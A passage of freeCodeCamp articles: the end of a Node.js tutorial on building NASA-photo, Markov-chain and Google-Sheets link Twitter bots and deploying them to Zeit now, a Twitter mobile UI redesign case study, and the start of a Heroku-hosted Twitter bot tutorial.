Then uploadMedia to upload media to Twitter before we can post it. This had me stumped for a bit as I have my files in a srcfolder. If you have your bot files nested in folders, then you will need to do the same if you are struggling with file does not exist errors.

Add a require to path then use join with the relevant relative file path.

const path = require('path')
//...
const filePath = path.join(__dirname, '../' + fileName)

Here’s the complete function:

function uploadMedia(descriptionText, fileName) {
  console.log(`uploadMedia: file PATH ${fileName}`)
  bot.postMediaChunked({
    file_path: fileName
  }, (err, data, respone) => {
    if (err) {
      console.log(err)
    } else {
      console.log(data)
      const params = {
        status: descriptionText,
        media_ids: data.media_id_string
      }
      postStatus(params)
    }
  })
}

Then with the params we created in uploadMedia we can post with a straightforward .post('statuses/update'...

function postStatus(params) {
  bot.post('statuses/update', params, (err, data, respone) => {
    if (err) {
      console.log(err)
    } else {
      console.log('Status posted!')
    }
  })
}

Call the getPhoto() function to post to Twitter... super straight forward, right? I know it wasn't. Here’s the complete module:

const Twit = require('twit')
const request = require('request')
const fs = require('fs')
const config = require('./config')
const path = require('path')

const bot = new Twit(config)

function getPhoto() {
  const parameters = {
    url: 'https://api.nasa.gov/planetary/apod',
    qs: {
      api_key: process.env.NASA_KEY
    },
    encoding: 'binary'
  }
  request.get(parameters, (err, respone, body) => {
    body = JSON.parse(body)
    saveFile(body, 'nasa.jpg')
  })
}

function saveFile(body, fileName) {
  const file = fs.createWriteStream(fileName)
  request(body).pipe(file).on('close', err => {
    if (err) {
      console.log(err)
    } else {
      console.log('Media saved!')
      const descriptionText = body.title
      uploadMedia(descriptionText, fileName)
    }
  })
}

function uploadMedia(descriptionText, fileName) {
  const filePath = path.join(__dirname, `../${fileName}`)
  console.log(`file PATH ${filePath}`)
  bot.postMediaChunked({
    file_path: filePath
  }, (err, data, respone) => {
    if (err) {
      console.log(err)
    } else {
      console.log(data)
      const params = {
        status: descriptionText,
        media_ids: data.media_id_string
      }
      postStatus(params)
    }
  })
}

function postStatus(params) {
  bot.post('statuses/update', params, (err, data, respone) => {
    if (err) {
      console.log(err)
    } else {
      console.log('Status posted!')
    }
  })
}

getPhoto()

Make a Markov bot

This is pretty neat, again from the egghead.io series it uses [rita](https://www.npmjs.com/package/rita) natural language toolkit. It also uses csv-parse as we're going to be reading out our Twitter archive to make the bot sound like it’s us tweeting.

First of all, to set up the Twitter archive, you’ll need to request your data from the Twitter settings page. You’ll be emailed a link to download your archive, then when you have downloaded the archive extract out the tweets.csv file, we'll then put that in it's own folder, so from the root of your project:

cd src
mkdir twitter-archive

We’ll move our tweets.csv there to be accessed by the bot we're going to go over now.

Use fs to set up a read stream...

const filePath = path.join(__dirname, './twitter-archive/tweets.csv')

const tweetData =
  fs.createReadStream(filePath)
  .pipe(csvparse({
    delimiter: ','
  }))
  .on('data', row => {
    console.log(row[5])
  })

When you run this from the console you should get the output from your Twitter archive.

Now clear out things like @ and RT to help with the natural language processing. We'll set up two functions cleanText and hasNoStopWords

cleanText will tokenize the text delimiting it on space ' ', filter out the stop words, then .join(' ') back together with a space, and .trim() any whitespace that may be at the start of the text.

function cleanText(text) {
  return rita.RiTa.tokenize(text, ' ')
    .filter(hasNoStopWords)
    .join(' ')
    .trim()
}

The tokenized text can then be fed into the hasNoStopWords function to be sanitized for use in tweetData

function hasNoStopWords(token) {
  const stopwords = ['@', 'http', 'RT'];
  return stopwords.every(sw => !token.includes(sw))
}

Now that we have the data cleaned, we can tweet it. Replace console.log(row[5]) with inputText = inputText + ' ' + cleanText(row[5]). Next we can use rita.RiMarkov(3) where the 3 is the number of words to take into consideration. Then use markov.generateSentences(1) where 1 is the number of sentences being generated. We'll also use .toString() and .substring(0, 140) to truncate the result down to 140 characters.

const tweetData =
  fs.createReadStream(filePath)
  .pipe(csvparse({
    delimiter: ','
  }))
  .on('data', function (row) {
    inputText = `${inputText} ${cleanText(row[5])}`
  })
  .on('end', function(){
    const markov = new rita.RiMarkov(3)
    markov.loadText(inputText)
    const sentence = markov.generateSentences(1)
      .toString()
      .substring(0, 140)
  }

Now we can tweet this with the bot using .post('statuses/update'...passing in the sentence variable as the status and logging a message to the console when there is a tweet.

const tweetData =
  fs.createReadStream(filePath)
    .pipe(csvparse({
      delimiter: ','
    }))
    .on('data', row => {
      inputText = `${inputText} ${cleanText(row[5])}`
    })
    .on('end', () => {
      const markov = new rita.RiMarkov(3)
      markov.loadText(inputText)
      const sentence = markov.generateSentences(1)
        .toString()
        .substring(0, 140)
      bot.post('statuses/update', {
        status: sentence
      }, (err, data, response) => {
        if (err) {
          console.log(err)
        } else {
          console.log('Markov status tweeted!', sentence)
        }
      })
    })
}

If you want your sentences to be closer to the input text you can increase the words to consider in rita.RiMarkov(6) and if you want to make it gibberish then lower the number.

Here’s the completed module:

const Twit = require('twit')
const fs = require('fs')
const csvparse = require('csv-parse')
const rita = require('rita')
const config = require('./config')
const path = require('path')

let inputText = ''

const bot = new Twit(config)

const filePath = path.join(__dirname, '../twitter-archive/tweets.csv')

const tweetData =
  fs.createReadStream(filePath)
    .pipe(csvparse({
      delimiter: ','
    }))
    .on('data', row => {
      inputText = `${inputText} ${cleanText(row[5])}`
    })
    .on('end', () => {
      const markov = new rita.RiMarkov(10)
      markov.loadText(inputText)
      const sentence = markov.generateSentences(1)
        .toString()
        .substring(0, 140)
      bot.post('statuses/update', {
        status: sentence
      }, (err, data, response) => {
        if (err) {
          console.log(err)
        } else {
          console.log('Markov status tweeted!', sentence)
        }
      })
    })
}

function hasNoStopWords(token) {
  const stopwords = ['@', 'http', 'RT']
  return stopwords.every(sw => !token.includes(sw))
}

function cleanText(text) {
  return rita.RiTa.tokenize(text, ' ')
    .filter(hasNoStopWords)
    .join(' ')
    .trim()
}

Retrieve and Tweet data from Google sheets

If you want to tweet a list of links, you can use [tabletop](https://www.npmjs.com/package/tabletop) to work though the list. In this example, again from egghead.io, we'll go through a list of links.

So, set up the bot and require tabletop:

const Twit = require('twit')
const config = require('./config')
const Tabletop = require('tabletop')

const bot = new Twit(config)

On your [Google spreadsheet](https://github.com/spences10/twitter-bot-playground/blob/master/sheets.google.com) you'll need to have a header defined and then add your links, we'll use the following for an example:

Now from Google sheets we can select ‘File’>’Publish to the web’ and copy the link that is generated to use in tabletop.

Now init Tabletop with three parameters, key: which is the spreadsheet URL, a callback: function to get the data and simpleSheet: which is true if you only have one sheet, like in our example here:

const spreadsheetUrl = 'https://docs.google.com/spreadsheets/d/1842GC9JS9qDWHc-9leZoEn9Q_-jcPUcuDvIqd_MMPZQ/pubhtml'

Tabletop.init({
  key: spreadsheetUrl,
  callback(data, tabletop) {
    console.log(data)
  },
  simpleSheet: true
})

Running the bot now should give output like this:

$ node index.js
[ { 'links': 'https://www.freecodecamp.com' },
  { 'links': 'https://github.com' },
  { 'links': 'https://www.reddit.com' },
  { 'links': 'https://twitter.com' } ]

So now we can tweet them using .post('statuses/update',... with a forEach on the data that is returned in the callback:

Tabletop.init({
  key: spreadsheetUrl,
  callback(data, tabletop) {
    data.forEach(d => {
      const status = `${d.links} a link from a Google spreadsheet`;
      bot.post('statuses/update', {
        status
      }, (err, response, data) => {
        if (err) {
          console.log(err)
        } else {
          console.log('Post success!')
        }
      })
    })
  },
  simpleSheet: true
})

Note that ${d.links} is the header name we use in the Google spreadsheet, I tried using skeleton and camel case and both returned errors so I went with a single name header on the spreadsheet.

The completed code here:

const Twit = require('twit')
const config = require('./config')
const Tabletop = require('tabletop')

const bot = new Twit(config)

const spreadsheetUrl = 'https://docs.google.com/spreadsheets/d/1842GC9JS9qDWHc-9leZoEn9Q_-jcPUcuDvIqd_MMPZQ/pubhtml'

Tabletop.init({
  key: spreadsheetUrl,
  callback(data, tabletop) {
    data.forEach(d => {
      const status = `${d.links} a link from a Google spreadsheet`
      console.log(status)
      bot.post('statuses/update', {
        status
      }, (err, response, data) => {
        if (err) {
          console.log(err)
        } else {
          console.log('Post success!')
        }
      })
    })
  },
  simpleSheet: true
})

Putting it all together

Ok, so those examples were good and all, but we haven’t really got a bot out of this have we? I mean you run it from the terminal and it’s done, but we want to be able to kick off the bot and leave it to do its thing.

One way I have found to do this is to use setInterval which will kick off events from the main bot.js module.

Take the example we did to tweet a picture and add it to it’s own module, so from the root directory of our project:

cd src
touch picture-bot.js

Take the example code from that and paste it into the new module. Then we’re going to make the following changes, to getPhoto:

const getPhoto = () => {
  const parameters = {
    url: 'https://api.nasa.gov/planetary/apod',
    qs: {
      api_key: process.env.NASA_KEY
    },
    encoding: 'binary'
  }
  request.get(parameters, (err, respone, body) => {
    body = JSON.parse(body)
    saveFile(body, 'nasa.jpg')
  })
}

Then at the bottom of the module add:

module.exports = getPhoto

So now we can call the getPhoto function from the picture-bot.js module in our bot.js module. Our bot.js module should look something like this:

const picture = require('./picture-bot')

picture()

That’s it, two lines of code, try running that from the terminal now:

yarn start

We should get some output like this:

yarn start v0.23.4
$ node index.js
Media saved!
file PATH C:\Users\path\to\project\tweebot-play\nasa.jpg
{ media_id: 863020197799764000,
  media_id_string: '863020197799763968',
  size: 371664,
  expires_after_secs: 86400,
  image: { image_type: 'image/jpeg', w: 954, h: 944 } }
Status posted!
Done in 9.89s.

The picture of the day is set up, but it has run once and completed. We need to put it on an interval with setInterval. It takes two options, the function it's going to call and the timeout value.

The picture updates every 24 hours so that will be how many milliseconds in 24 hours [8.64e+7].

The formula is 1000 60 = 1 minute, so 1000 60 60 24 so for now let’s add that directly into the setInterval function:

const picture = require('./picture-bot')

picture()
setInterval(picture, 1000 * 60 * 60 * 24)

Cool, that’s a bot that will post the NASA image of the day every 24 hours!

Lets keep going, now lets add some randomness in with the Markov bot. Like what we did for the picture of the day example, let’s create a new module for the Markov bot and add all the code in there from the previous example, so from the terminal:

cd src
touch markov-bot.js

Then copy and paste the Markov bot example into the new module, and make the following changes:

const tweetData = () => {
  fs.createReadStream(filePath)
    .pipe(csvparse({
      delimiter: ','
    }))
    .on('data', row => {
      inputText = `${inputText} ${cleanText(row[5])}`
    })
    .on('end', () => {
      const markov = new rita.RiMarkov(10)
      markov.loadText(inputText)
        .toString()
        .substring(0, 140)
      const sentence = markov.generateSentences(1)
      bot.post('statuses/update', {
        status: sentence
      }, (err, data, response) => {
        if (err) {
          console.log(err)
        } else {
          console.log('Markov status tweeted!', sentence)
        }
      })
    })
}

Then at the bottom of the module add:

module.exports = tweetData

Similar to the picture bot example, we’re going to add the tweetData export from markov-bot.js to our bot.jsmodule, which should now look something like this:

const picture = require('./picture-bot')
const markov = require('./markov-bot')

picture()
setInterval(picture, 1000 * 60 * 60 * 24)

markov()

Let’s make the Markov bot tweet at random intervals between 5 minutes and 3 hours

const picture = require('./picture-bot')
const markov = require('./markov-bot')

picture()
setInterval(picture, 1000 * 60 * 60 * 24)

const markovInterval = (Math.floor(Math.random() * 180) + 1) * 1000
markov()
setInterval(markov, markovInterval)

Alright! Picture bot and Markov bot, both done.

Do the same with the link bot? Ok, same as before, you get the idea now, right?

Create a new file in the src folder for link bot:

touch link-bot.js

Copy and paste the code from the link bot example into the new module, like this:

const link = () => {
  Tabletop.init({
    key: spreadsheetUrl,
    callback(data, tabletop) {
      data.forEach(d => {
        const status = `${d.links} a link from a Google spreadsheet`
        console.log(status)
        bot.post('statuses/update', {
          status
        }, (err, response, data) => {
          if (err) {
            console.log(err)
          } else {
            console.log('Post success!')
          }
        })
      })
    },
    simpleSheet: true
  })
}

module.exports = link

Then we can call it from the bot, so it should look something like this:

const picture = require('./picture-bot')
const markov = require('./markov-bot')
const link = require('./link-bot')

picture()
setInterval(picture, 1000 * 60 * 60 * 24)

const markovInterval = (Math.floor(Math.random() * 180) + 1) * 1000
markov()
setInterval(markov, markovInterval)

link()
setInterval(link, 1000 * 60 * 60 * 24)

We can now leave the bot running to do its thing!!

Deploy to `now`

We have a bot that does a few things, but it’s on our development environment and can’t stay there forever. (It could, but that would be pretty impractical). Let’s put our bot on a server somewhere to do it’s thing.

We’re going to be using Zeit’s now platform, which allows for simple deployments from the CLI. If you're not familiar with it, then take a quick look at the documentation. In these examples we're going to be using the now-cli.

There’s a few things we need to do in order to get our bot ready to go on now. Let's list them quickly and then go into detail.

Signup and install now-cli
Add now settings + .npmignore file
Add .env variables as secrets
Add npm deploy script
Re jig picture-bot.js

Ready? Lets do this!

Signup and install now-cli

First, signup for Zeit by creating an account and authenticating it, then install the CLI.

Install now globally on your machine so you can use it everywhere.

npm install -g now

Once it’s completed, login with:

now --login

The first time you run now, it'll ask for your email address in order to identify you. Go to the email account you supplied when signing up, click on the email sent to you from now, and you'll be logged in automatically.

If you need to switch the account or re-authenticate, run the same command again.

You can always check out the now-cli documentation for more information along with the [your first deployment](https://zeit.co/docs/getting-started/your-first-deployments#deploying-node) guide.

Add now settings

With signup and install done, we can configure the bot for deploying to now. First let’s add the now settings to our package.json file. I put it between my npm scripts and the author name in my package.json:

"scripts": {
    "start": "node index.js"
  },
  "now": {
    "alias": "my-awesome-alias",
    "files": [
      "src",
      "index.js"
    ]
  },
  "author": "Scott Spence",

This was a source of major confusion for me so I’m hoping I can save you the pain I went through trying to configure this. All the relevant documentation is there, you just need to put it all together.

If you find anything in here that doesn’t make sense or seems wrong, then please log an issue or create a pull request.

The now settings alias is to give your deployment a shorthand name over the auto generated URL that now creates. The files section covers what we want to include in the deployment to now which I’ll cover shortly. Basically, what is included in the files array is all that get passed up to the now servers.

Now we need to add a .npmignore file in the root of the project and add the following line to it:

!tweets.csv

The tweets.csv needs to go up to the now server to be used by the bot, but we previously included it in our .gitignore. This is what now uses to build your project when it's being loaded to the server. This means that the file isn't going to get loaded unless we edit the .npmignore to not ignore the tweets.csv.

Add .env variables as secrets

Our super secret Twitter keys will need to be stored as secrets in now. This is a pretty neat feature where you can define anything as a secret and reference it as an alias.

The syntax is now secrets add my-secret "my value" so for our .env keys, add them all in, giving them a descriptive (but short!) name.

You will not need to wrap your “my value” in quotes but the documentation does say “when in doubt, wrap your value in quotes.”

In the terminal, now secrets ls should list out your secrets you just created:

$ now secrets ls
> 5 secrets found under spences10 [1s]
                            id  name                   created
  sec_xxxxxxxxxxZpLDxxxxxxxxxx  ds-twit-key            23h ago
  sec_xxxxxxxxxxTE5Kxxxxxxxxxx  ds-twit-secret         23h ago
  sec_xxxxxxxxxxNorlxxxxxxxxxx  ds-twit-access         23h ago
  sec_xxxxxxxxxxMe1Cxxxxxxxxxx  ds-twit-access-secret  23h ago
  sec_xxxxxxxxxxMJ2jxxxxxxxxxx  nasa-key               23h ago

Add npm deploy script

With our secrets defined, we can create a deployment script to deploy to now. In our package.json, add an additional script:

"main": "index.js",
  "scripts": {
    "start": "node index.js",
    "deploy": "now -e CONSUMER_KEY=@ds-twit-key -e CONSUMER_SECRET=@ds-twit-secret -e ACCESS_TOKEN=@ds-twit-access  -e ACCESS_TOKEN_SECRET=@ds-twit-access-secret -e NASA_KEY=@nasa-key"
  },
  "now": {

We added deploy, which will run the now command and pass it all our environment -e variables and the associated secret value. If we break it down into separate lines it will be a bit clearer:

now 
-e CONSUMER_KEY=@ds-twit-key 
-e CONSUMER_SECRET=@ds-twit-secret 
-e ACCESS_TOKEN=@ds-twit-access  
-e ACCESS_TOKEN_SECRET=@ds-twit-access-secret 
-e NASA_KEY=@nasa-key

Re-jig picture-bot.js

Because now deployments are immutable, it means that there's no write access to the disk where we want to save our NASA photo of the day. To get around that we need to use the /tmp file location.

Thank you to Tim from Zeit for helping me out with this!

In the picture-bot.js module, add the following two lines to the top of the module:

const os = require('os')
const tmpDir = os.tmpdir()

Those two lines give us the temp directory of the operating system. If you’re like me and you use Windows, it will work just as well as if you are on another system like a linux based system (what now is). In our saveFile function, we're going to use tmpDir to save our file.

We’ve taken out the nasa.jpg from the getPhoto function since we can define that information in the saveFile function. The NASA photo of the day is not always a jpeg, some items posted there are videos. We can define the type with a ternary function off of the body being passed in, this will send a tweet with a link to the video:

function saveFile(body) {
  const fileName = body.media_type === 'image/jpeg' ? 'nasa.jpg' : 'nasa.mp4';
  const filePath = path.join(tmpDir + `/${fileName}`)

  console.log(`saveFile: file PATH ${filePath}`)
  if (fileName === 'nasa.mp4') {
    // tweet the link
    const params = {
      status: 'NASA video link: ' + body.url
    }
    postStatus(params)
    return
  }
  const file = fs.createWriteStream(filePath)

  request(body).pipe(file).on('close', err => {
    if (err) {
      console.log(err)
    } else {
      console.log('Media saved!')
      const descriptionText = body.title
      uploadMedia(descriptionText, filePath)
    }
  })
}

The completed code here:

const Twit = require('twit')
const request = require('request')
const fs = require('fs')
const config = require('./config')
const path = require('path')

const bot = new Twit(config)

const os = require('os')
const tmpDir = os.tmpdir()

const getPhoto = () => {
  const parameters = {
    url: 'https://api.nasa.gov/planetary/apod',
    qs: {
      api_key: process.env.NASA_KEY
    },
    encoding: 'binary'
  }
  request.get(parameters, (err, respone, body) => {
    body = JSON.parse(body)
    saveFile(body)
  })
}

function saveFile(body) {
  const fileName = body.media_type === 'image/jpeg' ? 'nasa.jpg' : 'nasa.mp4';
  const filePath = path.join(tmpDir + `/${fileName}`)

  console.log(`saveFile: file PATH ${filePath}`)
  if (fileName === 'nasa.mp4') {
    // tweet the link
    const params = {
      status: 'NASA video link: ' + body.url
    }
    postStatus(params)
    return
  }
  const file = fs.createWriteStream(filePath)

  request(body).pipe(file).on('close', err => {
    if (err) {
      console.log(err)
    } else {
      console.log('Media saved!')
      const descriptionText = body.title
      uploadMedia(descriptionText, filePath)
    }
  })
}

function uploadMedia(descriptionText, fileName) {
  console.log(`uploadMedia: file PATH ${fileName}`)
  bot.postMediaChunked({
    file_path: fileName
  }, (err, data, respone) => {
    if (err) {
      console.log(err)
    } else {
      console.log(data)
      const params = {
        status: descriptionText,
        media_ids: data.media_id_string
      }
      postStatus(params)
    }
  })
}

function postStatus(params) {
  bot.post('statuses/update', params, (err, data, respone) => {
    if (err) {
      console.log(err)
    } else {
      console.log('Status posted!')
    }
  })
}

module.exports = getPhoto

Ok, thats it! We’re ready to deploy to now!

In the terminal we call our deployment script we defined earlier:

yarn deploy

You will get some output:

λ yarn deploy
yarn deploy v0.24.4
$ now -e CONSUMER_KEY=@ds-twit-key -e CONSUMER_SECRET=@ds-twit-secret -e ACCESS_TOKEN=@ds-twit-access  -e ACCESS_TOKEN_SECRET=@ds-twit-access-secret -e NASA_KEY=@nasa-key
> Deploying ~\gitrepos\tweebot-play under spences10
> Using Node.js 7.10.0 (default)
> Ready! https://twee-bot-play-rapjuiuddx.now.sh (copied to clipboard) [5s]
> Upload [====================] 100% 0.0s
> Sync complete (1.54kB) [2s]
> Initializing…
> Building
> ▲ npm install
> ⧗ Installing:
>  ‣ csv-parse@^1.2.0
>  ‣ dotenv@^4.0.0
>  ‣ rita@^1.1.63
>  ‣ tabletop@^1.5.2
>  ‣ twit@^2.2.5
> ✓ Installed 106 modules [3s]
> ▲ npm start
> > tweet-bot-playground@1.0.0 start /home/nowuser/src
> > node index.js
> saveFile: file PATH /tmp/nasa.jpg
> Media saved!
> uploadMedia: file PATH /tmp/nasa.jpg

Woot! You have your bot deployed!

If you click on the link produced, you will be able to inspect the bot as it is on now. There's also a handy logs section on the page where you can check for output.

Resources

awesome-twitter-bots

Thanks for reading! If you liked this story, please don’t forget to recommend it by clicking the button on the side, and by sharing it with your friends through social media.

If you want to learn more about me, you can ask me anything check my Github, or tweet me @ScottDevTweets.

You can read other articles like this on my blog.

So how do we fix Twitter? A user interface revamp would be a good place to start.

freeCodeCamp — Thu, 09 Mar 2017 06:57:52 +0000

By Daryll Santos

It’s no secret that Twitter has been struggling to grow its user base. To fix this, they’ve laid out a long-term strategy to turn around its business by focusing on five areas:

Its core service
Live-streaming video
The site’s “creators and influencers”
Safety
Developers

Two things that stuck out to me in that statement are 1) focus on its core service (tweeting) and 2) live-streaming video (Periscope).

Those stuck out to me because just recently, I convinced a friend to join Twitter. When he landed on the feed, his first questions were “how do I Tweet?” and “how do I go live?”

Seeing as how those are key features of Twitter, I’d think that those should be the most intuitive things to do, even for a new user.

Objectives

Make Tweeting intuitive: Tweeting is the driving force behind Twitter; the staple that drives their product. So, right when a new user completes the registration process, the user should know, right away, how to Tweet.
Make going Live more intuitive: Twitter spent $86.6M on Periscope to provide their users the ability to live-video stream through their mobile app. It’s also a huge market, and it’s no surprise that Facebook is attacking it so aggressively. With that in mind, why isn’t this functionality more accessible? For example, I remember a time when my friend was at a concert trying to live stream an artist walking out onto the stage. He missed the moment because he wasn’t able to go live quickly enough.
Bonus Update the Twitter feed: I’ve always felt that the Home Feed was a little too squished together. A few minor changes would benefit it tremendously. It’s also been some time since they’ve updated this, so a fresh face would be nice!

User Personas

Of course, it’s always important to know your users. 37% of Twitter’s users are aged 18–29 and that’s also their largest user base, meaning that Twitter’s users are largely the tech-savvy, social media addicted, live-video streaming millennials. Knowing this, it’s imperative to make important features of Twitter (Tweeting and Periscope) more accessible to them.

User Research

To ensure I made the best design choices possible and validate my objectives, I ran a survey to pinpoint the thoughts of Twitter users. Specifically, I aimed to discover:

The ease-of-use level of tweeting for new users
How aware Twitter users are of the ability to go live (Periscope)
The ease-of-use level of live (Periscope)

1. Ease of Use for New Users

I ran a survey and found that only 5/10 users (50%) found Tweeting easy to do at their first go-around. For their core service to only be easy for 5/10 people seems to be a bit of a concern because without it, there is no Twitter. I definitely think a UI improvement could help with this.

2./3. Awareness of Periscope and Ease-of-Use Level

It amazed me to find that only 43% (10/23) of Twitter users I asked knew that they could live-video stream! Additionally, these weren’t just any random users. These were people that have been using Twitter for years and are in the 18–24 and 25–34 age group.

“Peri — what?”

Technical Analysis

First, understanding Twitter’s current layout will inform us of how it tends to its users’ needs. I’ve laid out the UI and split it up into blocks, as each block has a purpose, and in each block, we’ll see what/how it can be improved. Let’s take a look:

Block 1: This is basically Twitter’s bread and butter since this is where users go to Tweet. I believe it can be improved because the Tweet button is out of the thumb’s natural radius zone (see change 1 below).
Block 2: This is where the Twitter feed is. There’s nothing wrong with it, but I believe a minor improvement can make it better.
Block 3: This is where users go to navigate through the different Twitter views. There’s nothing wrong with it, but since users constantly have their eyes down here, a key addition would probably help them reach their long-term goals.

Results

Change #1: Improve Core Service: Relocate and change the Tweet button

The Thumb Zone

By moving the Tweet button to the bottom-middle, adding a label, increasing its size, and giving it color, users will know exactly what that button is just by looking at it. Also, by giving it a background color, it acts as a call to action that essentially tells the user “Hey! Press me!”

Most importantly, it’s in an easier location for users to press due to being in a comfortable location for thumbs (see picture above).

Now, Tweeting is “Natural” instead of “Ow”.

Change #2: Improve Live-Video Streaming by moving Periscope Live to the Home feed

In conjunction with Twitter focusing on live-streaming (Periscope), the idea for this change came when I saw my buddy miss that moment at a concert he wanted to record live, because it took him too much time to hit Periscope. By the time he had gone live, the intro he wanted to capture had already been missed. Yes, he could have activated it earlier. But sometimes life’s moments need to be caught quickly.

The current 3-step process to go live goes like this:

Hit the Tweet button
Wait for the Tweet view to slide up
Hit “Live”

For the sake of speed, it should be:

Hit “Live”

That’s it. Just one step.

To do this, I had to remove the Live button from the Tweet view and bring it to the Home view. By bringing it there, it’s accessible in just 1 step.

Live is for catching life’s moments, so it should be in a place you can get to it fast.

Change #3: Update the feed

Twitter’s feed is pretty good, but I believe a few minor changes can improve it.

I changed the Twitter icon to look less similar to the buttons near it (Messages & Live) because their weights looked too similar. By having drastically different weights, it’s easier for users to know that it’s not a button without having to press it.
I added space in-between each tweet so they’re less cramped together. This helps people identify conversations on their feeds easier, since chains are spaced from the rest of the Tweets now.
I changed the AVI frame from a rounded square to a circle.

Conclusion

Twitter is one of my favorite apps and I use it daily, so working on this project was fun for me to work on. I also knew this would be a great way for me to hone my design capabilities, seeing as how Twitter is already a great mobile app.

I built an ? interactive prototype here ? using Sketch and Invision.

If you’ve read this far, I appreciate you! Hopefully, I’ve written something that was helpful or interesting to you.

“Design is not just what it looks like and feels like. Design is how it works.” — Steve Jobs

Thanks for reading and happy designing!

Why you should have your own Twitter bot, and how to build one in less than 30 minutes

freeCodeCamp — Sat, 28 Jan 2017 00:00:00 +0000

By Scott Spence

UPDATE 20171102: Since this story was originally posted back in January 2017 there have been a few things that have changed with the repository on GitHub, if you are going to be following along I’d suggest using the repository [README.md](https://github.com/spences10/twitter-bot-bootstrap/#twitter-bot-bootstrap) in conjunction with this story to save any confusion.

Twitter bots can do a heck of a lot more than just spam trending hashtags and relentlessly follow users.

Take the Twisst ISS alerts bot, which sends you a direct message whenever the international space station (ISS) will be visible at your location.

Or public service bots like the Earthquake Robot, which tweets about any earthquake greater than 5.0 on the Richter Scale as it happens.

And of course a robot that tweets poetry, poem.exe, along with one that will retweet your tweets that also happen to be an Accidental Haiku.

I personally use a bot to enhance my @ScottDevTweets account by liking and re-tweeting subjects I have an interest in.

The #100DaysOfCode community challenge will congratulate you on starting the #100DaysOfCode challenge, and again when you reach specific milestones.

Bot user congratulate

It will also reply with encouragement if it detects negative sentiment (frustration) in a tweet that has the #100DaysOfCode hashtag in it.

Bot sentiment detection

One question I’m asked in job interviews quite often is “what do you get out of working with technology?” I always answer that “I like to automate repetitive tasks to save me time so I can concentrate on other stuff. I like the the feeling of accomplishment that comes with having saved myself some time.”

In the case of my @ScottDevTweets bot, it’s usually an opener for a conversation with another person who follows me. So the bot can initiate the conversation, then I can carry on from where the bot left off.

Bearing this in mind, a bot is only as ethical as the person who programmed it.

If you have any doubts about the ethics of the bot you’re building, check out botwiki’s ethics section.

So, ready to get started? OK. Let’s do this!

How to build a Twitter Bot in 30 minutes

You’re going to use the twit library to build a Twitter bot. It will like and re-tweet whatever you specify. It will also reply to your followers with a selection of canned responses.

Before starting the clock you’ll need to set up some accounts set up if you don’t have them already.

What you’ll need

Step #1: Set up a Twitter application

Either create a new Twitter account or use your own to create a new Twitter application.

As an example, I’ll configure my old @DroidScott twitter account so you can follow along.

Be sure to add your phone number to your Twitter account before clicking the Create your Twitter application button.

You should now be in the ‘Application Management’ section, where you will need to take a note of your keys. You should have your ‘Consumer Key (API Key)’ and ‘Consumer Secret (API Secret)’ already available.

You’ll need to scroll to the bottom of the page and click the Create my access token to get the ‘Access Token’ and ‘Access Token Secret’ take note of all four of them you’ll need them when setting up the bot.

Step #2: Set up your development environment

For this I’m just going to say use Cloud9 as you can be up and running in minutes with one of the pre-made Node.js environments.

Note that if you choose to use Heroku and/or Cloud9 IDE in building this (like I do in this guide) in some regions you will be prompted to give a credit card number to create these accounts.

Set up the bot

In the project tree delete the example project files of client, package.json, README.md and server.js you’ll not need them, you can leave them there if you desire.

In your new Node.js c9 environment go to the terminal and enter:

git clone https://github.com/spences10/twitter-bot-bootstrap

Project structure

The environment project tree should look something like this:

Node dependencies

Before configuring the bot we’ll need to install the dependencies, cd into the project folder with cd tw* this will move you to :~/workspace/twitter-bot-bootstrap (master) $ from the terminal enter:

npm install

This will install all the dependencies listed in the package.json file.

If you get any errors then I suggest installing the dependencies one by one from the package.json file with the same command and the package name at the end:

Here is an example of the dependencies in the package,json file:

"dependencies": {    "dotenv": "^4.0.0",    "twit": "^2.2.5",    "unique-random-array": "^1.0.0",    "unirest": "^0.5.1"  }

The npm command to install them all:

npm install --save dotenv twit unique-random-array unirest

If you get any WARN messages such as npm WARN package.json twitter-bot@1.0.0 No repository field this will not break the bot so it's safe to ignore.

Now you can configure the bot. From the terminal enter:

npm init

This will configure the package.json file with your details as desired. Just keep hitting return if you're happy with the defaults.

Now you’ll need to add your Twitter keys to the .env file. Just input the keys in their corresponding fields and save the file.

If you can not find the .env file in the file structure of your c9 project then you will need to enable the Show Hidden Filesoption. In the file view select the settings cog then tick the Show Hidden Files option if it is not already checked.

The SENTIMENT_KEY you can get a new API key at https://market.mashape.com/vivekn/sentiment-3 your key is in the REQUEST EXAMPLE

Take a look at the gif, click the link, sign up for or sign into mashape, click on node in the right hand panel and select out your API key, it will be in the space highlighted ed> in the gif.



Add your API key to the .env file along with your Twitter API keys ?
Here you should add your Twitter account name, and how often you want the bot to run the retweet and favorite functions in minutes.

NOTE none of the .env items have quotes '' round them.

CONSUMER_KEY=Fw***********P9CONSUMER_SECRET=TD************CqACCESS_TOKEN=31**************UCACCESS_TOKEN_SECRET=r0************S2SENTIMENT_KEY=Gj************lFTWITTER_USERNAME=DroidScottTWITTER_RETWEET_RATE=5TWITTER_FAVORITE_RATE=5
You can then add some keywords into the strings.js file for what you want to search for as well as sub-queries.

add query and sub-query strings you can also update blocked strings to block more stuff
When adding sub-query strings make sure you leave a space at the beginning of the string so ' handy tip' gets concatenated onto 'node.js' as node.js handy tip and not node.jshandy tip.
That should be it, go to the terminal and enter npm start you should get some output:

Check the Twitter account:

Step #3: Setting up Heroku
Cool, now we have a bot that we can test on our dev environment but we can’t leave it there, we’ll need to deploy it to Heroku.
If you haven’t done so already set up a Heroku account then select Create a new app from the dropdown box top right of your dashboard, in the next screen name the app it if you want, then click Create App.

You’ll be presented with your app dashboard and instructions for the deployment method.

Your app name should be displayed on the top of your dashboard, you’ll need this when logging in with the Heroku command line interface, which we’ll use to deploy your app.

Heroku CLI
We’re going to deploy initially via the Heroku Command Line Interface (CLI).
On your c9 environment terminal, log into Heroku [it should be installed by default]
heroku login
Enter your credentials:
cd twitter-bot-bootstrap git init heroku git:remote -a your-heroku-app-name
Deploy your application:
git add . git commit -am 'make it better' git push heroku master
You should get build output in the terminal:

Then check the output with:
heroku logs -t
All good? Cool! ?
Configuring Heroku variables
Now that we have our bot on Heroku we need to add environment variables to store our Twitter keys. This is because the .env file where we stored our keys is listed in the .gitignore file, which tells git not to upload that file to Heroku. It also makes it so if in the future we want to add our code to GitHub we don't have to worry about the .env file making our keys public, because the file will automatically be ignored.
All you need to do is go to the console of your Heroku app and select the ‘Settings’ sections and add in your Twitter keys from the .env file. Click the 'Reveal Config Vars' button and add in the variables with their corresponding values:
